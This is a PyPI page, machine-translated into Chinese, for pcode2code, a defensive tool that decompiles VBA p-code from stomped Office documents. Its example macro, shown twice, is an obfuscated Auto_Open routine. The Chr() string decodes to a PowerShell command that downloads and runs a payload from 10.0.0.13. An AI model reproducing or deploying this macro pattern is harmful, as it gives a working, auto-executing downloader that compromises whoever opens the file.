Skip to main content

一个基于 pcodedmp 的 vba p-code 反编译器

项目描述

pcode2code.py - VBA p 代码反编译器

它是什么?

2019 年,任何攻击者都可以轻松使用EvilClippy工具来处理将宏代码直接转换为字节码的 Office 文档。如需任何参考,请检查thisthis。为了能够分析这种“踩踏”的文档,Bontchev 博士 ( @VessOnSecurity ) 发布了pcodedmp,这是一个以可读方式打印出文档的 VBA 字节码的工具。但是,输出可能仍然难以阅读和分析(请查看测试文件夹中的通心粉)。因此, pcode2code 根据pcodedmp的输出反编译 VBA 代码。

荣誉

非常感谢 Bontchev博士 ( @VessOnSecurity ) 所做的所有努力。刚刚弄清楚 pcodedmp 需要多少时间才能工作。

例子

让我们考虑一个文档,其代码如下:

Sub Auto_Open()
    Dim exec As String
    Dim testvar As String
    Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(73) & Chr(69) & Chr(88) & Chr(32) & Chr(40) & Chr(40) & Chr(110) & Chr(101) & Chr(119) & Chr(45) & Chr(111) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(110) & Chr(101) & Chr(116) & Chr(46) & Chr(119) & Chr(101) & Chr(98) & Chr(99) & Chr(108) & Chr(105) & Chr(101) & Chr(110) & Chr(116) & Chr(41) & Chr(46) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(116) & Chr(114) & Chr(105) & Chr(110) & Chr(103) & Chr(40) & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) & Chr(51) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(39) & Chr(41) & Chr(41)
End Sub

如果您在本文档中使用 pcodedmp,您将获得以下输出:

VBA/ThisDocument - 2809 bytes
Line #0:
        FuncDefn (Sub Auto_Open())
Line #1:
        Dim
        VarDefn exec (As String)
Line #2:
        Dim
        VarDefn testvar (As String)
Line #3:
        LitDI2 0x0070
        ArgsLd Chr 0x0001
        LitDI2 0x006F
        ArgsLd Chr 0x0001
        Concat
        LitDI2 0x0077
	ArgsLd Chr 0x0001
	Concat
	LitDI2 0x0065
	ArgsLd Chr 0x0001
	Concat
	LitDI2 0x0072
	ArgsLd Chr 0x0001
	Concat
	LitDI2 0x0073
	ArgsLd Chr 0x0001
	Concat
	LitDI2 0x0068
	ArgsLd Chr 0x0001
	Concat
	LitDI2 0x0065
	ArgsLd Chr 0x0001
	Concat
	[ .... -> 252 more lines like this]
	LitDI2 0x0029
        ArgsLd Chr 0x0001
        Concat
        LitDI2 0x0029
        ArgsLd Chr 0x0001
        Concat
        ArgsCall Shell 0x0001
Line #4:
        EndSub

如果您使用 pcode2code,输出将如下所示:

stream : VBA/ThisDocument - 2809 bytes
########################################

Sub Auto_Open()
  Dim exec As String
  Dim testvar As String
  Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(73) & Chr(69) & Chr(88) & Chr(32) & Chr(40) & Chr(40) & Chr(110) & Chr(101) & Chr(119) & Chr(45) & Chr(111) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(110) & Chr(101) & Chr(116) & Chr(46) & Chr(119) & Chr(101) & Chr(98) & Chr(99) & Chr(108) & Chr(105) & Chr(101) & Chr(110) & Chr(116) & Chr(41) & Chr(46) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(116) & Chr(114) & Chr(105) & Chr(110) & Chr(103) & Chr(40) & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) & Chr(51) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(39) & Chr(41) & Chr(41)
End Sub

安装

该脚本将在 Python 2.6+ 和 Python 3.x 中运行。安装它的最简单方法是使用PyPipip

pip install pcode2code -U

上面的命令将安装最新版本pcode2code(如果已经存在,则升级旧版本)pcodedmp作为依赖项。实际上,它允许拥有该工具的所有功能。

如果您希望从 GitHub 存储库安装它,可以这样做:

git clone 
cd pcode2code
pip install .

用法

该脚本将已被踩踏的 OLE2 文档或先前使用 pcodedmp 分析的文档的转储作为命令行参数。在后者中,您应该使用该-p选项。默认情况下,处理的输出打印在控制台上,并且应该是有效的 VBA 代码。

该脚本还接受以下命令行选项:

-h,--help显示如何使用脚本以及命令行选项是什么的简短说明。

-v,--version显示脚本的版本。

-n,--linenum指示是否应在输出中包含行号。请注意,输出代码不再作为 VBA 代码有效。

-p,--pcodedump指示输入是否是以前 pcodedmp 的转储。

-o OUTFILE,--output OUTFILE将结果保存到指定的输出文件,而不是发送到标准输出。

-d,--debug用于调试和开发目的。在这里,不处理异常,使脚本因任何错误而中断。

API

该模块可以在您的 python 脚本中导入(如果它在您的路径中)

import pcode2code

虽然我让所有功能都可用,但应使用以下功能:

  • process(inputfile, outputfile=None, ispcodedump=False, linenum=False, isdebug=False)

    实现对输入的反编译操作。参数如下: inputfile = 要处理的文件, outputfile = 写入位置,默认写入 stdout, ispcodedump = 如果输入文件是 pcodedmp 的先前转储,则使用此, linenum :要在输出中打印行号, isdebug : 是否应该使用调试模式。

    这是一个例子

    import pcode2code
    pcode2code.process('~/evil.docm', 'output.txt')
    

发现错误?

在提交问题之前,请检查以下几点:

  • 你的错误是一个通用的python错误/你在屏幕上打印了一个“发生通用异常”:

    • 好吧,只需提交发现的错误,并附上文件。
  • 你得到一些“Pcode2codeException”错误:

    • 首先,在您的文档上运行 pcodedmp,并找到有问题的行和有问题的操作码
    • 其次,检查操作码是否已知对 pcodedmp 有问题(在其 README 中),或者它是否已经存在已知问题(如下)
    • 如果没有,请提交你的文档,问题,以及pcodedmp对应的输出
    • 如果是,那么您应该等待新版本(或自己贡献:))
  • 您与原始程序交叉检查,即使没有发生异常,输出也是错误的。

    • 在这种情况下,您应该在文档上运行 pcodedmp,并首先检查 pcodedmp 输出是否有意义(此工具依赖于它)
    • 如果是,则将您的错误与文档一起提交
    • 如果没有,请询​​问@VessOnSecurity

已知问题

  • pcodedmp的所有限制都适用于此处
  • 基于 pcodedmp 的输出,枚举被翻译为类型
  • 现在不支持以下字节码命令:缩放,与索引相关的所有命令,实现,
  • 任何日期文字或浮点文字都不会转换回其原始形式(如果您现在如何将字节转换为文字,请联系我)

贡献

我对任何贡献都持开放态度,尽管它很小。不要犹豫,给我发邮件或在 Twitter 上联系我。

待办

  • 提供正确的贡献指南,并使代码遵循编码标准
  • 总有改进的余地,至少,提供所有正确的操作码翻译可能会很好
  • 提供一种自动检测先前转储或 OLE2 的方法

更改日志

2019 年 11 月 21 日:1.0 版发布

2019 年 11 月 25 日:1.1 版发布

  • 基于@VessOnSecurity 回退进行的几处更正。

贡献者

  • Zilio Nicolas,作者

走得更远

获取代码可能不足以进行简单的分析。不要犹豫,尝试使用SourceFu对代码进行反混淆,或者创建一个文档并使用ViperMonkey

项目详情


下载文件

下载适用于您平台的文件。如果您不确定要选择哪个,请了解有关安装包的更多信息。

源分布

pcode2code-0.1.1.tar.gz (387.9 kB 查看哈希

已上传 source